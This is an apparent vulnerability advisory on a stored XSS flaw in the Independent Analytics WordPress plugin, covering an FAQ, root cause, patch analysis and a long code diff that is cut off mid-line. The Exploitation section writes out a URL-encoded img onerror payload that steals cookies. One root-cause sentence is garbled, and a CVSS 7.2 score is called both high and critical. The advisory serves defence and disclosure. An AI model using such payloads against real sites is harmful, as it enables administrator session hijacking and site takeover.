What is CVE-2026-17506?

CVE-2026-17506 is a stored cross-site scripting (XSS) vulnerability in the Independent Analytics plugin for WordPress, affecting versions up to and including 2.15.0. It allows unauthenticated attackers to inject arbitrary web scripts that execute when an administrator views the 404 error report in the analytics dashboard. The vulnerability is rated high severity with a CVSS score of 7.2.

How does the stored XSS vulnerability work?

The vulnerability occurs in the get_cell_content() function in IAWP/Tables/Table.php. When rendering the URL column for 404 entries, the code applies urldecode() after esc_url(), which allows percent-encoded HTML to pass URL validation and then be decoded into raw markup. This markup is not stripped by wp_kses_post() because it retains img elements and data-* attributes, leading to script execution.

Who is affected by this vulnerability?

WordPress sites running the Independent Analytics plugin version 2.15.0 or earlier are affected. The vulnerability can be exploited by unauthenticated attackers, meaning anyone who can send a crafted request to the site can inject the payload. Administrators who view the 404 report in the analytics dashboard are the ones whose browsers execute the malicious script.

How can I check if my site is vulnerable?

Check the version of the Independent Analytics plugin installed on your WordPress site. If it is 2.15.0 or lower, your site is vulnerable. You can also look for suspicious 404 requests in your server logs that contain encoded HTML or JavaScript payloads, such as %3Cscript%3E or %3Cimg%20onerror%3D.

What is the patched version and how do I update?

The patched version is 2.15.1. To fix the vulnerability, update the Independent Analytics plugin to version 2.15.1 or later. You can do this from the WordPress admin dashboard under Plugins, or by downloading the latest version from the WordPress plugin repository and uploading it manually.

What does the patch change?

The patch modifies the get_cell_content() function to use esc_html(urldecode($row->url())) instead of urldecode(esc_url($row->url())). This ensures that any HTML characters are entity-encoded after decoding, preventing script execution. The patch also introduces new sanitization methods using wp_kses() with allowlisted tags to replace the overly permissive wp_kses_post().

How can I mitigate the risk if I cannot update immediately?

If you cannot update immediately, consider disabling the 404 tracking feature in the plugin settings, if available, to prevent new malicious entries from being stored. Additionally, you can use a web application firewall (WAF) to block requests containing encoded XSS payloads in the URL. However, updating to the patched version is the only complete fix.

What is the practical impact of a CVSS score of 7.2?

A CVSS score of 7.2 is considered high severity. It indicates that the vulnerability is relatively easy to exploit and can have significant impact, such as full site compromise. Since the attack is unauthenticated and can lead to administrator account takeover, it poses a serious threat to the confidentiality, integrity, and availability of the affected WordPress site.

How does the proof of concept (PoC) demonstrate the vulnerability?

The PoC sends a crafted HTTP request to a non-existent URL on the target site, containing a percent-encoded XSS payload. This triggers the plugin’s 404 tracking, which stores the malicious URL. When an administrator later views the 404 report, the stored payload is rendered and executed, demonstrating the stored XSS. The PoC requires only the target site’s base URL.

What are the potential consequences of successful exploitation?

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s browser session. This can lead to session hijacking, creation of new admin accounts, modification of site content, and uploading malicious files. Given the high privileges of an administrator, this effectively results in full site compromise.

Are there any other security considerations related to this vulnerability?

The vulnerability is a stored XSS, meaning the payload persists in the database and executes each time the report is viewed. It is important to regularly update plugins and monitor for unusual 404 requests. Additionally, administrators should follow security best practices such as using strong passwords and limiting admin access to trusted users.

Published : August 5, 2026

CVE-2026-17506: Independent Analytics <= 2.15.0 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-17506

Plugin independent-analytics

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 2.15.0

Patched Version 2.15.1

Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-17506:

This vulnerability allows unauthenticated stored cross-site scripting (XSS) in the Independent Analytics plugin for WordPress, affecting versions up to and including 2.15.0. The flaw exists in the plugin’s reporting functionality, where attacker-controlled data from 404 error tracking is later rendered without proper escaping. The vulnerability carries a CVSS score of 7.2 due to the critical role an analytics dashboard plays in an application’s security posture.

Root Cause: The root cause lies in the get_cell_content() function within IAWP/Tables/Table.php. Prior to the patch, when rendering the URL column for a 404 entry, the code applied urldecode() after esc_url(). This ordering is critical: esc_url() sanitizes the URL while it is still percent-encoded, and then urldecode() reverses that encoding, converting percent-encoded HTML characters (e.g., %3C for ‘url())) for deleted entries and embedded the same pattern within an anchor tag for non-deleted entries. The patch corrects this by using esc_html() instead of esc_url() before applying urldecode(), ensuring that any HTML remains entity-encoded and harmless.

Exploitation: An attacker can trigger this vulnerability by requesting a non-existent URL on the target WordPress site that contains an XSS payload. The payload must be URL-encoded to pass through the initial esc_url() validation. For example, an attacker could request /nonexistent-page/?x=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E. The Independent Analytics plugin tracks this 404 request, including the full URI, in its database. The plugin’s public REST endpoint /iawp/search accepts unauthenticated requests as long as they carry a signature, which the plugin embeds in the public page’s HTML source, making the endpoint accessible to any visitor. This allows an unauthenticated attacker to inject the crafted 404 URL into the tracked data. When any administrator later views the 404 report in the analytics dashboard, the get_cell_content() function renders the stored URL, and the flawed urldecode(esc_url()) sequence reconstructs the HTML payload, executing the script in the administrator’s browser session.

Patch Analysis: The patch modifies IAWP/Tables/Table.php to replace urldecode(esc_url($row->url())) with esc_html(urldecode($row->url())). This change reverses the processing order and uses a more appropriate escaping function. The new sequence first decodes the URL to its raw string, then applies esc_html() to encode any HTML characters into their safe entity equivalents (e.g., ‘<' becomes <). This prevents the browser from interpreting any attacker-supplied HTML tags or JavaScript. The patch also updates the link_target column handling in the same file, applying the same esc_html() logic. Additionally, the patch introduces several new methods to IAWP/Utils/Security.php, including table_cell_content(), user_journey_event_contents(), strong_tags_only(), and span_tags_only(), which use wp_kses() with narrow, allowlisted tags to replace the overly permissive wp_kses_post() in various rendering contexts. The patch also removes the Security::attr() and Security::html() methods, replacing them with direct calls to esc_attr() and the new, more restrictive wp_kses() variants.

Impact: Successful exploitation grants an unauthenticated attacker the ability to execute arbitrary JavaScript in the context of an authenticated administrator's browser session when they view the affected analytics reports. This stored XSS can be leveraged for a variety of high-impact actions, including stealing session cookies, hijacking an administrator's session, creating new administrative accounts, modifying site content, or uploading malicious files. Given the high privileges of an administrator, this effectively equates to full site compromise, which is why the vulnerability is rated as critical. The attack requires no authentication, only the ability to request a crafted URL, making it a serious threat to any site running the vulnerable version of the plugin.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/independent-analytics/IAWP/AJAX/Export_Reports.php
+++ b/independent-analytics/IAWP/AJAX/Export_Reports.php
@@ -41,6 +41,6 @@
             }
             $reports[] = $report->to_array();
         }
-        wp_send_json_success(['json' => json_encode(['plugin_version' => '2.15.0', 'database_version' => '52', 'export_version' => '1', 'reports' => $reports])]);
+        wp_send_json_success(['json' => json_encode(['plugin_version' => '2.15.1', 'database_version' => '52', 'export_version' => '1', 'reports' => $reports])]);
     }
 }
--- a/independent-analytics/IAWP/Admin_Page/Analytics_Page.php
+++ b/independent-analytics/IAWP/Admin_Page/Analytics_Page.php
@@ -94,31 +94,31 @@
         echo Security::string($table->group()->singular());
         ?>"
              data-report-relative-range-id-value="<?php
-        echo Security::attr($options->relative_range_id());
+        echo esc_attr($options->relative_range_id());
         ?>"
              data-report-exact-start-value="<?php
-        echo Security::attr($options->start());
+        echo esc_attr($options->start());
         ?>"
              data-report-exact-end-value="<?php
-        echo Security::attr($options->end());
+        echo esc_attr($options->end());
         ?>"
              data-report-group-value="<?php
-        echo Security::attr($table->group()->id());
+        echo esc_attr($table->group()->id());
         ?>"
              data-report-filters-value="<?php
         echo esc_attr(Security::json_encode($options->raw_filters()));
         ?>"
              data-report-filter-logic-value="<?php
-        echo Security::attr($options->filter_logic());
+        echo esc_attr($options->filter_logic());
         ?>"
              data-report-chart-interval-value="<?php
-        echo Security::attr($options->chart_interval()->id());
+        echo esc_attr($options->chart_interval()->id());
         ?>"
              data-report-sort-column-value="<?php
-        echo Security::attr($sort_configuration->column());
+        echo esc_attr($sort_configuration->column());
         ?>"
              data-report-sort-direction-value="<?php
-        echo Security::attr($sort_configuration->direction());
+        echo esc_attr($sort_configuration->direction());
         ?>"
              data-report-columns-value="<?php
         echo esc_attr(Security::json_encode($table->visible_column_ids()));
@@ -182,31 +182,31 @@
         echo Security::string($table->group()->singular());
         ?>"
              data-report-relative-range-id-value="<?php
-        echo Security::attr($options->relative_range_id());
+        echo esc_attr($options->relative_range_id());
         ?>"
              data-report-exact-start-value="<?php
-        echo Security::attr($options->start());
+        echo esc_attr($options->start());
         ?>"
              data-report-exact-end-value="<?php
-        echo Security::attr($options->end());
+        echo esc_attr($options->end());
         ?>"
              data-report-group-value="<?php
-        echo Security::attr($table->group()->id());
+        echo esc_attr($table->group()->id());
         ?>"
              data-report-filters-value="<?php
         echo esc_attr(Security::json_encode($options->raw_filters()));
         ?>"
              data-report-filter-logic-value="<?php
-        echo Security::attr($options->filter_logic());
+        echo esc_attr($options->filter_logic());
         ?>"
              data-report-chart-interval-value="<?php
-        echo Security::attr($options->chart_interval()->id());
+        echo esc_attr($options->chart_interval()->id());
         ?>"
              data-report-sort-column-value="<?php
-        echo Security::attr($sort_configuration->column());
+        echo esc_attr($sort_configuration->column());
         ?>"
              data-report-sort-direction-value="<?php
-        echo Security::attr($sort_configuration->direction());
+        echo esc_attr($sort_configuration->direction());
         ?>"
              data-report-columns-value="<?php
         echo esc_attr(Security::json_encode($table->visible_column_ids()));
--- a/independent-analytics/IAWP/Data_Pruning/Pruning_Scheduler.php
+++ b/independent-analytics/IAWP/Data_Pruning/Pruning_Scheduler.php
@@ -40,7 +40,7 @@
         $scheduled_at->setTimestamp(wp_next_scheduled('iawp_prune'));
         $day = $scheduled_at->format(Format::date());
         $time = $scheduled_at->format(Format::time());
-        return sprintf(__('Next data pruning scheduled for %s at %s.', 'independent-analytics'), '<span>' . $day . '</span>', '<span>' . $time . '</span>');
+        return sprintf(__('Next data pruning scheduled for %s at %s.', 'independent-analytics'), '<strong>' . $day . '</strong>', '<strong>' . $time . '</strong>');
     }
     public function get_pruning_description(string $cutoff) : string
     {
--- a/independent-analytics/IAWP/Email_Reports/Email_Reports.php
+++ b/independent-analytics/IAWP/Email_Reports/Email_Reports.php
@@ -72,7 +72,7 @@
         $date = $this->interval()->next_interval_start();
         $day = $date->format(Format::date());
         $time = $date->format(Format::time());
-        return sprintf(__('Next email scheduled for %s at %s.', 'independent-analytics'), '<span>' . $day . '</span>', '<span>' . $time . '</span>');
+        return sprintf(__('Next email scheduled for %s at %s.', 'independent-analytics'), '<strong>' . $day . '</strong>', '<strong>' . $time . '</strong>');
     }
     public function maybe_reschedule()
     {
--- a/independent-analytics/IAWP/Filters.php
+++ b/independent-analytics/IAWP/Filters.php
@@ -19,7 +19,7 @@
         echo esc_attr(json_encode($options->raw_filters()));
         ?>"
          data-filters-filter-logic-value="<?php
-        echo Security::attr($options->filter_logic());
+        echo esc_attr($options->filter_logic());
         ?>"
     >
         <span class="dashicons dashicons-filter"></span>
@@ -146,7 +146,7 @@
             <button class="filters-condition-button"
                 data-action="filters#toggleModal"
                 data-filters-target="modalButton"><?php
-            echo wp_kses_post($filters[$i]->html_description());
+            echo Security::strong_tags_only($filters[$i]->html_description());
             ?></button>
         <?php
         }
--- a/independent-analytics/IAWP/Tables/Table.php
+++ b/independent-analytics/IAWP/Tables/Table.php
@@ -137,12 +137,12 @@
             return Number_Formatter::percent($row->{$column_id}(), 2);
         } elseif ($column_id == 'url') {
             if ($row->is_deleted()) {
-                return urldecode(esc_url($row->url()));
+                return esc_html(urldecode($row->url()));
             } else {
-                return '<a href="' . esc_url($row->url(true)) . '" target="_blank" class="external-link">' . urldecode(esc_url($row->url())) . '<span class="dashicons dashicons-external"></span></a>';
+                return '<a href="' . esc_url($row->url(true)) . '" target="_blank" class="external-link">' . esc_html(urldecode($row->url())) . '<span class="dashicons dashicons-external"></span></a>';
             }
         } elseif ($column_id == 'author') {
-            return Security::html($row->avatar()) . ' ' . Security::string($row->author());
+            return Security::table_cell_content($row->avatar()) . ' ' . Security::string($row->author());
         } elseif ($column_id == 'date') {
             return Security::string(date(Format::date(), strtotime($row->date())));
         } elseif ($column_id == 'type' && method_exists($row, 'icon') && method_exists($row, 'type')) {
@@ -166,7 +166,7 @@
         } elseif ($column_id === 'link_target') {
             $value = $row->{$column_id}();
             if (is_string($value) && URL::new($value)->is_valid_url()) {
-                return '<a href="' . esc_url($value) . '" target="_blank" class="external-link">' . esc_url(urldecode($value)) . '<span class="dashicons dashicons-external"></span></a>';
+                return '<a href="' . esc_url($value) . '" target="_blank" class="external-link">' . esc_html(urldecode($value)) . '<span class="dashicons dashicons-external"></span></a>';
             }
             return Security::string($value);
         } else {
--- a/independent-analytics/IAWP/Utils/Request.php
+++ b/independent-analytics/IAWP/Utils/Request.php
@@ -148,10 +148,14 @@
     }
     private static function url()
     {
-        if (!empty($_SERVER['HTTP_HOST']) && !empty($_SERVER['REQUEST_URI'])) {
-            return esc_url_raw(self::scheme() . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
-        } else {
+        if (empty($_SERVER['HTTP_HOST']) || empty($_SERVER['REQUEST_URI'])) {
             return null;
         }
+        $url = self::scheme() . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
+        $decoded_url = rawurldecode($url);
+        if (str_contains($decoded_url, '<') || str_contains($decoded_url, '>')) {
+            return null;
+        }
+        return esc_url_raw($url);
     }
 }
--- a/independent-analytics/IAWP/Utils/Security.php
+++ b/independent-analytics/IAWP/Utils/Security.php
@@ -13,18 +13,6 @@
     {
         return trim(sanitize_text_field($string));
     }
-    public static function attr($att)
-    {
-        return esc_attr($att);
-    }
-    public static function hex($hex)
-    {
-        return sanitize_hex_color($hex);
-    }
-    public static function html($html)
-    {
-        return wp_kses_post($html);
-    }
     public static function array($array)
     {
         if (is_string($array)) {
@@ -52,4 +40,20 @@
     {
         return wp_kses($html, ['svg' => ['height' => [], 'width' => [], 'fill' => [], 'viewbox' => [], 'style' => []], 'path' => ['d' => []]]);
     }
+    public static function table_cell_content($html)
+    {
+        return wp_kses($html, ['span' => ['class' => []], 'a' => ['href' => [], 'target' => [], 'class' => []], 'img' => ['alt' => [], 'src' => [], 'class' => [], 'height' => [], 'width' => [], 'loading' => []], 'div' => ['class' => []]]);
+    }
+    public static function user_journey_event_contents($html)
+    {
+        return wp_kses($html, ['p' => [], 'a' => ['href' => [], 'target' => []], 'span' => ['class' => []]]);
+    }
+    public static function strong_tags_only($html)
+    {
+        return wp_kses($html, ['strong' => []]);
+    }
+    public static function span_tags_only($html)
+    {
+        return wp_kses($html, ['span' => ['class' => []]]);
+    }
 }
--- a/independent-analytics/iawp-bootstrap.php
+++ b/independent-analytics/iawp-bootstrap.php
@@ -33,7 +33,7 @@
 use IAWPWP_Option_Cache_Bust;
 define( 'IAWP_DIRECTORY', rtrim( plugin_dir_path( __FILE__ ), DIRECTORY_SEPARATOR ) );
 define( 'IAWP_URL', rtrim( plugin_dir_url( __FILE__ ), '/' ) );
-define( 'IAWP_VERSION', '2.15.0' );
+define( 'IAWP_VERSION', '2.15.1' );
 define( 'IAWP_DATABASE_VERSION', '52' );
 define( 'IAWP_LANGUAGES_DIRECTORY', dirname( plugin_basename( __FILE__ ) ) . '/languages' );
 define( 'IAWP_PLUGIN_FILE', __DIR__ . '/iawp.php' );
--- a/independent-analytics/iawp.php
+++ b/independent-analytics/iawp.php
@@ -4,7 +4,7 @@
  * Plugin Name:       Independent Analytics
  * Plugin URI:        https://independentwp.com/
  * Description:       User-friendly website analytics built for WordPress
- * Version:           2.15.0
+ * Version:           2.15.1
  * Requires at least: 5.9
  * Tested up to:      7.0
  * Requires PHP:      8.0.30
--- a/independent-analytics/vendor/composer/installed.php
+++ b/independent-analytics/vendor/composer/installed.php
@@ -2,4 +2,4 @@

 namespace IAWPSCOPED;

-return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-main', 'version' => 'dev-main', 'reference' => 'b96c747c0567e5397c0fc4b1490563c78ce69538', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('__root__' => array('pretty_version' => 'dev-main', 'version' => 'dev-main', 'reference' => 'b96c747c0567e5397c0fc4b1490563c78ce69538', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'andrewmead/wordpress-proper' => array('pretty_version' => '4.0.1', 'version' => '4.0.1.0', 'reference' => '8253fd2ba493e5597e28820ed249ce0462c13488', 'type' => 'library', 'install_path' => __DIR__ . '/../andrewmead/wordpress-proper', 'aliases' => array(), 'dev_requirement' => false), 'brick/math' => array('pretty_version' => '0.11.0', 'version' => '0.11.0.0', 'reference' => '0ad82ce168c82ba30d1c01ec86116ab52f589478', 'type' => 'library', 'install_path' => __DIR__ . '/../brick/math', 'aliases' => array(), 'dev_requirement' => false), 'carbonphp/carbon-doctrine-types' => array('pretty_version' => '2.1.0', 'version' => '2.1.0.0', 'reference' => '99f76ffa36cce3b70a4a6abce41dba15ca2e84cb', 'type' => 'library', 'install_path' => __DIR__ . '/../carbonphp/carbon-doctrine-types', 'aliases' => array(), 'dev_requirement' => false), 'doctrine/inflector' => array('pretty_version' => '2.1.0', 'version' => '2.1.0.0', 'reference' => '6d6c96277ea252fc1304627204c3d5e6e15faa3b', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/inflector', 'aliases' => array(), 'dev_requirement' => false), 'eftec/bladeone' => array('pretty_version' => '4.19.1', 'version' => '4.19.1.0', 'reference' => 'a22f6471c01c26fea5f6a0d0aca9b5674fc999be', 'type' => 'library', 'install_path' => __DIR__ . '/../eftec/bladeone', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/collections' => array('pretty_version' => 'v9.52.16', 'version' => '9.52.16.0', 'reference' => 'd3710b0b244bfc62c288c1a87eaa62dd28352d1f', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/collections', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/conditionable' => array('pretty_version' => 'v9.52.16', 'version' => '9.52.16.0', 'reference' => 'bea24daa0fa84b7e7b0d5b84f62c71b7e2dc3364', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/conditionable', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/container' => array('pretty_version' => 'v9.52.16', 'version' => '9.52.16.0', 'reference' => '1641dda2d0750b68bb1264a3b37ff3973f2e6265', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/container', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/contracts' => array('pretty_version' => 'v9.52.16', 'version' => '9.52.16.0', 'reference' => '44f65d723b13823baa02ff69751a5948bde60c22', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/contracts', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/database' => array('pretty_version' => 'v9.52.16', 'version' => '9.52.16.0', 'reference' => '93cfc8e1f9ac147e6a2851ecabe8d8f21ad85182', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/database', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/macroable' => array('pretty_version' => 'v9.52.16', 'version' => '9.52.16.0', 'reference' => 'e3bfaf6401742a9c6abca61b9b10e998e5b6449a', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/macroable', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/support' => array('pretty_version' => 'v9.52.16', 'version' => '9.52.16.0', 'reference' => '223c608dbca27232df6213f776bfe7bdeec24874', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/support', 'aliases' => array(), 'dev_requirement' => false), 'league/csv' => array('pretty_version' => '9.8.0', 'version' => '9.8.0.0', 'reference' => '9d2e0265c5d90f5dd601bc65ff717e05cec19b47', 'type' => 'library', 'install_path' => __DIR__ . '/../league/csv', 'aliases' => array(), 'dev_requirement' => false), 'league/uri' => array('pretty_version' => '6.7.2', 'version' => '6.7.2.0', 'reference' => 'd3b50812dd51f3fbf176344cc2981db03d10fe06', 'type' => 'library', 'install_path' => __DIR__ . '/../league/uri', 'aliases' => array(), 'dev_requirement' => false), 'league/uri-interfaces' => array('pretty_version' => '2.3.0', 'version' => '2.3.0.0', 'reference' => '00e7e2943f76d8cb50c7dfdc2f6dee356e15e383', 'type' => 'library', 'install_path' => __DIR__ . '/../league/uri-interfaces', 'aliases' => array(), 'dev_requirement' => false), 'matomo/device-detector' => array('pretty_version' => '6.5.1', 'version' => '6.5.1.0', 'reference' => 'f30457500c6be4c80c8830466f8a746724779fd0', 'type' => 'library', 'install_path' => __DIR__ . '/../matomo/device-detector', 'aliases' => array(), 'dev_requirement' => false), 'maxmind-db/reader' => array('pretty_version' => 'v1.13.1', 'version' => '1.13.1.0', 'reference' => '2194f58d0f024ce923e685cdf92af3daf9951908', 'type' => 'library', 'install_path' => __DIR__ . '/../maxmind-db/reader', 'aliases' => array(), 'dev_requirement' => false), 'mlocati/ip-lib' => array('pretty_version' => '1.22.0', 'version' => '1.22.0.0', 'reference' => '4e40ffd3bf9989db19403d89c4d8be44b87b8a91', 'type' => 'library', 'install_path' => __DIR__ . '/../mlocati/ip-lib', 'aliases' => array(), 'dev_requirement' => false), 'mustangostang/spyc' => array('pretty_version' => '0.6.3', 'version' => '0.6.3.0', 'reference' => '4627c838b16550b666d15aeae1e5289dd5b77da0', 'type' => 'library', 'install_path' => __DIR__ . '/../mustangostang/spyc', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.73.0', 'version' => '2.73.0.0', 'reference' => '9228ce90e1035ff2f0db84b40ec2e023ed802075', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'piwik/device-detector' => array('dev_requirement' => false, 'replaced' => array(0 => '6.5.1')), 'psr/clock' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'e41a24703d4560fd0acb709162f73b8adfc3aa0d', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/clock', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/container' => array('pretty_version' => '2.0.2', 'version' => '2.0.2.0', 'reference' => 'c71ecc56dfe541dbd90c5360474fbc405f8d5963', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'psr/container-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.1|2.0')), 'psr/http-message' => array('pretty_version' => '1.1', 'version' => '1.1.0.0', 'reference' => 'cb6ce4845ce34a8ad9e68117c10ee90a29919eba', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-message', 'aliases' => array(), 'dev_requirement' => false), 'psr/log-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0|2.0|3.0')), 'psr/simple-cache' => array('pretty_version' => '3.0.0', 'version' => '3.0.0.0', 'reference' => '764e0b3939f5ca87cb904f570ef9be2d78a07865', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/simple-cache', 'aliases' => array(), 'dev_requirement' => false), 'symfony/console' => array('pretty_version' => 'v6.0.19', 'version' => '6.0.19.0', 'reference' => 'c3ebc83d031b71c39da318ca8b7a07ecc67507ed', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/console', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-ctype' => array('pretty_version' => 'v1.37.0', 'version' => '1.37.0.0', 'reference' => '141046a8f9477948ff284fa65be2095baafb94f2', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-ctype', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-intl-grapheme' => array('pretty_version' => 'v1.38.1', 'version' => '1.38.1.0', 'reference' => 'e9247d281d694a5120554d9afaf54e070e88a603', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-intl-grapheme', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-intl-normalizer' => array('pretty_version' => 'v1.38.0', 'version' => '1.38.0.0', 'reference' => '2d446c214bdbe5b71bde5011b060a05fece3ae6b', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-intl-normalizer', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.38.2', 'version' => '1.38.2.0', 'reference' => 'd3d318bad5e7a1bfbd026009c8bfb8d8f99ae6b6', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.37.0', 'version' => '1.37.0.0', 'reference' => 'dfb55726c3a76ea3b6459fcfda1ec2d80a682411', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/service-contracts' => array('pretty_version' => 'v3.0.2', 'version' => '3.0.2.0', 'reference' => 'd78d39c1599bd1188b8e26bb341da52c3c6d8a66', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/service-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/string' => array('pretty_version' => 'v6.0.19', 'version' => '6.0.19.0', 'reference' => 'd9e72497367c23e08bf94176d2be45b00a9d232a', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/string', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('pretty_version' => 'v6.0.19', 'version' => '6.0.19.0', 'reference' => '9c24b3fdbbe9fb2ef3a6afd8bbaadfd72dad681f', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-contracts' => array('pretty_version' => 'v3.0.2', 'version' => '3.0.2.0', 'reference' => 'acbfbb274e730e5a0236f619b6168d9dedb3e282', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.3|3.0')), 'voku/portable-ascii' => array('pretty_version' => '2.1.1', 'version' => '2.1.1.0', 'reference' => '8e1051fe39379367aecf014f41744ce7539a856f', 'type' => 'library', 'install_path' => __DIR__ . '/../voku/portable-ascii', 'aliases' => array(), 'dev_requirement' => false)));
+return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-main', 'version' => 'dev-main', 'reference' => '429d6f0ad844d8c4f706eb7ab4c49250438d4c61', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('__root__' => array('pretty_version' => 'dev-main', 'version' => 'dev-main', 'reference' => '429d6f0ad844d8c4f706eb7ab4c49250438d4c61', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'andrewmead/wordpress-proper' => array('pretty_version' => '4.0.1', 'version' => '4.0.1.0', 'reference' => '8253fd2ba493e5597e28820ed249ce0462c13488', 'type' => 'library', 'install_path' => __DIR__ . '/../andrewmead/wordpress-proper', 'aliases' => array(), 'dev_requirement' => false), 'brick/math' => array('pretty_version' => '0.11.0', 'version' => '0.11.0.0', 'reference' => '0ad82ce168c82ba30d1c01ec86116ab52f589478', 'type' => 'library', 'install_path' => __DIR__ . '/../brick/math', 'aliases' => array(), 'dev_requirement' => false), 'carbonphp/carbon-doctrine-types' => array('pretty_version' => '2.1.0', 'version' => '2.1.0.0', 'reference' => '99f76ffa36cce3b70a4a6abce41dba15ca2e84cb', 'type' => 'library', 'install_path' => __DIR__ . '/../carbonphp/carbon-doctrine-types', 'aliases' => array(), 'dev_requirement' => false), 'doctrine/inflector' => array('pretty_version' => '2.1.0', 'version' => '2.1.0.0', 'reference' => '6d6c96277ea252fc1304627204c3d5e6e15faa3b', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/inflector', 'aliases' => array(), 'dev_requirement' => false), 'eftec/bladeone' => array('pretty_version' => '4.19.1', 'version' => '4.19.1.0', 'reference' => 'a22f6471c01c26fea5f6a0d0aca9b5674fc999be', 'type' => 'library', 'install_path' => __DIR__ . '/../eftec/bladeone', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/collections' => array('pretty_version' => 'v9.52.16', 'version' => '9.52.16.0', 'reference' => 'd3710b0b244bfc62c288c1a87eaa62dd28352d1f', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/collections', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/conditionable' => array('pretty_version' => 'v9.52.16', 'version' => '9.52.16.0', 'reference' => 'bea24daa0fa84b7e7b0d5b84f62c71b7e2dc3364', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/conditionable', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/container' => array('pretty_version' => 'v9.52.16', 'version' => '9.52.16.0', 'reference' => '1641dda2d0750b68bb1264a3b37ff3973f2e6265', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/container', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/contracts' => array('pretty_version' => 'v9.52.16', 'version' => '9.52.16.0', 'reference' => '44f65d723b13823baa02ff69751a5948bde60c22', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/contracts', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/database' => array('pretty_version' => 'v9.52.16', 'version' => '9.52.16.0', 'reference' => '93cfc8e1f9ac147e6a2851ecabe8d8f21ad85182', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/database', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/macroable' => array('pretty_version' => 'v9.52.16', 'version' => '9.52.16.0', 'reference' => 'e3bfaf6401742a9c6abca61b9b10e998e5b6449a', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/macroable', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/support' => array('pretty_version' => 'v9.52.16', 'version' => '9.52.16.0', 'reference' => '223c608dbca27232df6213f776bfe7bdeec24874', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/support', 'aliases' => array(), 'dev_requirement' => false), 'league/csv' => array('pretty_version' => '9.8.0', 'version' => '9.8.0.0', 